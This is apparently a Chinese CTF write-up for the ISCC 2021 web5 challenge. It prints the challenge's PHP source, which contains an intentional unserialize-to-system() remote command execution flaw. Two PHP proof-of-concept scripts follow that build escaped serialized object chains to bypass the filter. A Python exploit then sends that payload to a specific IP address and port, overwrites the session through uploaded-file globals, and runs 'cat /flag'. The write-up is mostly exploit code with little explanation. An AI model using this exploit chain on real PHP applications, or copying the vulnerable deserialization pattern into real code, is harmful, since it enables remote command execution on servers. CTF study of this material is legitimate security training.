2021_PYCC_WEB5_WP

看了看这道题,好像还蛮有意思的。。。pycc 反正不用多说,听师傅说这道题 509 解,哈哈哈。


怪恶心的,和 @s1mple 师傅讨论了半天,恶心翻倍。

which is the true iscc

贴一下源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

poc 和 exp 先贴着,坑不急着填,有空了一切好说

poc1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class ISCC_Upload {
function __construct(){
$this->e=new ISCC_ResetCMD();
$this->d=new ISCC_Command();
}
function __destruct() {
echo 1;
}
function __wakeup() {
echo 4;
}
}
class ISCC_Login {
public $b;
public $c;
public $a;
function __construct(){
$this->b=new ISCC_ResetCMD();
$this->c=new ISCC_Command();
$this->a=new ISCC_Upload();
}
}
class ISCC_Command {
function __destruct() {
echo 2;
}
function __wakeup() {
echo 5;
}
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
function __destruct() {
echo 3;
}
function __wakeup() {
echo 6;
}
}
$a=new ISCC_Login();
$b=urlencode(serialize($a));
echo str_replace("s","S",str_replace(" ","%20",str_replace("\\2A","%5C2A",str_replace("\\00","%5C00",urldecode(str_replace("%2A",'%5C2A',str_replace("%00","%5C00",$b)))))));
//var_dump(unserialize(urldecode('O:10:"ISCC_Login":3:{S:1:"b";O:13:"ISCC_ReSetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";S:9:"cat%20/flag";}S:1:"c";O:12:"ISCC_Command":0:{}S:1:"a";O:11:"ISCC_Upload":2:{S:1:"e";O:13:"ISCC_ReSetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";S:9:"cat%20/flag";}S:1:"d";O:12:"ISCC_Command":0:{}}}')));

poc2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class ISCC_Command {

}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
echo str_replace("s","S",str_replace(" ","%20",str_replace("\\2A","%5C2A",str_replace("\\00","%5C00",urldecode(str_replace("%2A",'%5C2A',str_replace("%00","%5C00",$b)))))));
echo $b;

exp

1
2
3
4
5
6
7
8
import requests

url = 'http://39.96.91.106:7050/' + '?%3F=O:10:"ISCC_Login":3:{S:1:"b";O:13:"ISCC_ReSetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";S:9:"cat%20/flag";}S:1:"c";O:12:"ISCC_Command":0:{}S:1:"a";O:11:"ISCC_Upload":2:{S:1:"e";O:13:"ISCC_ReSetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";S:9:"cat%20/flag";}S:1:"d";O:12:"ISCC_Command":0:{}}}'
f = ("isccIsCciScc1scc", "Du1")
f1 = open("git.png", "rb")
files = {"_SESSION": f, "iscc_file": f1}
r = requests.post(url, files=files)
print(r.text)

flag 出:ISCC{hjh_Y0u_sT1ll_D0nt_KNoW_wHiCH_ONe_is_true!:P}